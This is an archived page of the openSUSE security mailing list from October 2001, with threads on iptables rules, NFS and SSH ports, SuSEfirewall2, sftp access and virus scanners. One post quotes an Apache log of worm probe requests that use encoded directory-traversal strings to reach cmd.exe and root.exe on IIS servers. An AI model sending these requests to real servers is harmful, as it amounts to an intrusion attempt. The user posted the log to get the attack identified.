October 2001 - openSUSE Security - openSUSE Mailing Lists

disabling sftp
by Togan Muftuoglu 08 Oct '01

08 Oct '01

Hi, How can I enable the sftp subsytem _only_to_the local network. When I enable the Subsystem paramater in the sshd_config then sftp is available to the outside, since ssh is available for internet also. So is there a way to permit sftp access only from the localside ? TIA -- Togan Muftuoglu

2 2

-p 6 -j REJECT --reject-with tcp-reset problem?
by Philipp Snizek 08 Oct '01

08 Oct '01

Hi all, This is part of my iptables -L -n -v. Please note that tcp packets are not rejected but dropped by the reject rule. But counters say they're rejected. This is the rule I use: iptables -A INPUT -p 6 -s 0/0 --sport 1024: -d xxx.xxx.xx.xx --dport 25 -i $waneth -j REJECT --reject-with tcp-reset 3 144 LOG all -- eth1 * 0/0 0/0 LOG flags 0 level 4 prefix `INPUT: ' 3 144 REJECT tcp -- eth1 * 0/0 xxx.xxx.xx.xx tcp spts:1024:65535 dpt:25 reject-with tcp-reset 0 0 DROP all -- eth1 * 0/0 0/0 As you can see the drop rule doesn't count any packets. But packets are dropped. Please see iptraf below: 212.254.101.100:23822 = 3 144 S--- eth1 xxx.xxx.xx.xx:25 = 0 0 ---- eth1 If working with tcp-reset I'd rather expect something like this: 212.254.101.100:23824 = 1 48 S--- eth1 xxx.xxx.xx.xx:25 = 1 40 RESET eth1 this is made manually by stopping smtpd but leaving the ports open for connection. Thank you for any help. Philipp

2 2

Iptables-firewall
by Rüdiger H 07 Oct '01

07 Oct '01

hi! Please help me! I am already to despair 3 days ago I've written an email to you. thanks for your help! everything worked fine, except the nfs. I opened the ports 2049 and 111 completely, but I still get this error message: mount: RPC: Wartezeit abgelaufen ("waiting time expired") I tried to log everything blocked by the firewall, but it didn't work. I don't find the log file of iptables nor in /var/log/messages. These things I've already tried: 1) iptables -N no-conns-from-eth0 iptables -A no-conns-from-eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A no-conns-from-eth0 -m state --state NEW -i ! eth0 -j ACCEPT iptables -A no-conns-from-eth0 -i $DEV_EXT -m limit -j LOG --log-prefix "Bad packet from eth0:" iptables -A no-conns-from-eth0 -i ! $DEV_EXT -m limit -j LOG --log-prefix "Bad packet not from eth0:" iptables -A no-conns-from-eth0 -j DROP iptables -A INPUT -j no-conns-from-eth0 iptables -A FORWARD -j no-conns-from-eth0 2) iptables -N my_drop iptables -A my_drop -p ICMP -j LOG --log-prefix "DROP-ICMP " iptables -A my_drop -p UDP -j LOG --log-prefix "DROP-UDP " iptables -A my_drop -p TCP -j LOG --log-prefix "DROP-TCP " iptables -A my_drop -j DROP 3) iptables -A INPUT -i $DEV_EXT -f -j LOG --log-prefix "IPTABLES FRAGMENTS:" iptables -A INPUT -i $DEV_EXT -f -j DROP 4) iptables -N logdrop iptables -A logdrop -j LOG iptables -A logdrop -j DROP iptables -j logdrop can anybody tell me where I can find the log files? answers in german would be very helpful, but many thanks to all!!! Rüdiger H

2 1

SuSEfirewall2 & ipchains?!
by Rick Green 06 Oct '01

06 Oct '01

I finally got around to switching to SuSEfirewall2. Installation and setup were straightforward, and my testing sems to indicate it's doing what I expect... However, I'm now seeing the following messages in /var/log/messages as I bring up, and again as I terminate a ppp session (using kppp): /etc/ppp/ip-down: ip-down: Loading of module ipchains was not successful. /etc/ppp/ip-down: Aborting. No action taken. A search of /etc/ppp/ip-up, ip-up.local, and SuSEFirewall2 shows the only reference to the ipchains module is an attempt to `rmmod` it. Is this message simply an obfuscated way of saying that it couldn't be removed because it wasn't loaded? -- Rick Green "They that can give up essential liberty to obtain a little temporary safety, deserve neither liberty nor safety." -Benjamin Franklin

6 11

New Virus?
by Rolf Klemenz 06 Oct '01

06 Oct '01

Hello Does anybody know of the following attak? These are getting more and more, starting by today... Is it something new like CodeRed? Regards Rolf :: Apache Access Log File ::<cut> 212.25.83.251 - - [06/Oct/2001:20:36:05 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:06 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:08 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:09 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:14 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:18 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:19 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:20 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:21 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:22 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:24 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:25 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:26 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 212.25.83.251 - - [06/Oct/2001:20:36:27 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 285 212.25.83.251 - - [06/Oct/2001:20:36:32 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 212.25.83.251 - - [06/Oct/2001:20:36:33 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1438 </cut>

2 1

AW: [suse-security] Hi @ll -----> I have problems with my fire wall
by Peer Stefan 06 Oct '01

06 Oct '01

hi, isn't nfs 111 (portmap) and 2049 (nfs itself)? i think those ports worked for me. regards, stefan -----Ursprüngliche Nachricht----- Von: Ralf Koch [mailto:info@formel4.de] Gesendet: Donnerstag, 04. Oktober 2001 00:36 An: suse-security(a)suse.com Betreff: Re: [suse-security] Hi @ll -----> I have problems with my firewall Hi Rüdiger. >On my server a 2.4 kernel with an iptables firewall is running. I have >already set up a few rules but there are still problems downloading my >emails. It takes about 15 seconds to look if there's mail, without >firewall it only takes half a second. That's the good old port 113 problem. Setup a rule to reject incoming TCP 113 and you are fine with that. (That's kind of a FAQ) >Another problem is that i can reach neither an internal nor an external >pc using ssh. >[...] >### SSHserver TCP freigabe! ### >iptables -A INPUT -p TCP --dport 22 -j ACCEPT >iptables -A OUTPUT -p TCP --sport 22 -j ACCEPT >### SSHserver UDP freigabe! ### >iptables -A INPUT -p UDP --dport 22 -j ACCEPT >iptables -A OUTPUT -p UDP --sport 22 -j ACCEPT >[...] Ok, your rules allow incoming SSH connections from anywhere to this server. To allow outgoing connections simply enter: iptables -A OUTPUT -p TCP --dport 22 -j ACCEPT iptables -A INPUT -p TCP --sport 22 -j ACCEPT But why do you open Port 22 UDP? I don't remember SSH using UDP connections. >When my firewall is up I can't use the nfs drive. > Ummm. Somebody for the nfs ports? I actually don't remember the correct port numbers.... >Who can help me solving these problems??? > Hmmm. Having a deeper look on your rules, there's a lot obsolete stuff. Soory for me not helping you with that, but I'm still using ipchains and won't give you wrong answers. Anybody else for cleaning up the iptables configuration? Cheers, Ralf -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

4 5

RE: [suse-security] Virus scanner to detect macintosh viruses?
by Roger Rossell 05 Oct '01

05 Oct '01

how can virus affect my firewall? may i consider to install an anti-virus on it? -----Mensaje original----- De: Rainer Link [mailto:link@suse.de] Enviado el: viernes, 28 de septiembre de 2001 20:25 Para: Thorsten Marquardt CC: suse-security(a)suse.com Asunto: Re: [suse-security] Virus scanner to detect macintosh viruses? On Wed, 19 Sep 2001, Thorsten Marquardt wrote: [ still answering old mails ] > I like to know wether there is a linux virusscanner which detects > virus for (better against) apple macintosh. All virus scanners running on linux/Unix use (nearly) the same scan engine as the win-version. Therefore DOS/Win/Scripting/Mac-Viruses and so on will be detected. (but, this does not mean always, the Linux-version detects exactly the same virusses as the Win-version, as porting to a new platform may introduce (new) bugs ...). best regards, Rainer Link -- Rainer Link | SuSE - The Linux Experts link(a)suse.de | Developer of A Mail Virus Scanner (amavis.org) www.suse.de | Founder OpenAntiVirus Project (www.openantivirus.org) -- To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com For additional commands, e-mail: suse-security-help(a)suse.com

2 1

JMC'WS Jail Chroot Project on SuSE7.2?
by Fluffy Bananachunks 05 Oct '01

05 Oct '01

http://www.gsyc.inf.uc3m.es/~assman/jail/ I've installed this once before on a Mandrake8.0 box at work. Well, I was finally given the permissions to redo this box with SuSE7.2, and, following the directions, I can't seem to get this working on the new install. # su testtest chrooted directory /chroot is not configured for jail; bailing out I've followed any and all directions that I could find thru the above URL, and if I remember correctly, I'm doing the same things I did to get it working on Mandrake... Anyone using this on SuSE7.2, or seen this error before? TIA Geo

1 0

iptables und tdsl
by Nils Wunsch 05 Oct '01

05 Oct '01

Frage an die Linux-gemeinde Ich habe iptables und t-dsl input ist eth1 und output ppp0 eth0 ist 192.168.0.99 = ppp0 eth1 ist 192.168.100.2 nur wenn ich die firewall mit iptables starte kommt sie nicht bis bestätigung das es gestartet ist und danach der aufruf iptables -vL ergibt Chain INPUT (policy ACCEPT 51 packets, 3390 bytes) pkts bytes target prot opt in out source destination 0 0 ACCEPT udp -- eth1 any 192.168.100.0/24 bastion.lines.org udp spts:1024:59999 dpt:domain Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 72 packets, 4863 bytes) pkts bytes target prot opt in out source destination bastion:~ # Nur beim dem script aber ohne t-dsl geht alles ok. Sowie das script etwas geändert von ppp0 auf ippp0 ( ISDN) geht es WO ist der Fehler zu suchen /nils -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

4 3

iptables und tdsl
by Nils Wunsch 04 Oct '01

04 Oct '01

uestion to the Linux municipality I have iptables and t-DSL input am eth1 and output ppp0 eth0 is 192,168,0,99 = ppp0 eth1 is 192.168.100.2 only if I do not start firewall with iptables come it to acknowledgement it am started and afterwards the call of iptables vL results in Chain INPUT (policy ACCEPT 51 packets, 3390 bytes) pkts byte target prot opt in out SOURCE destination 0 0 ACCEPT UDP -- eth1 any 192.168.100.0/24 bastion.lines.org UDP spts:1024:59999 dpt:domain Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts byte target prot opt in out SOURCE destination Chain OUTPUT (policy ACCEPT 72 packets, 4863 bytes) pkts byte target prot opt in out SOURCE destination bastion:~ # Only with script however without t-DSL all ok goes. As well as something script modified from ppp0 on ippp0 (ISDN) goes it WHERE the error is to be looked up / Nils -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

1 0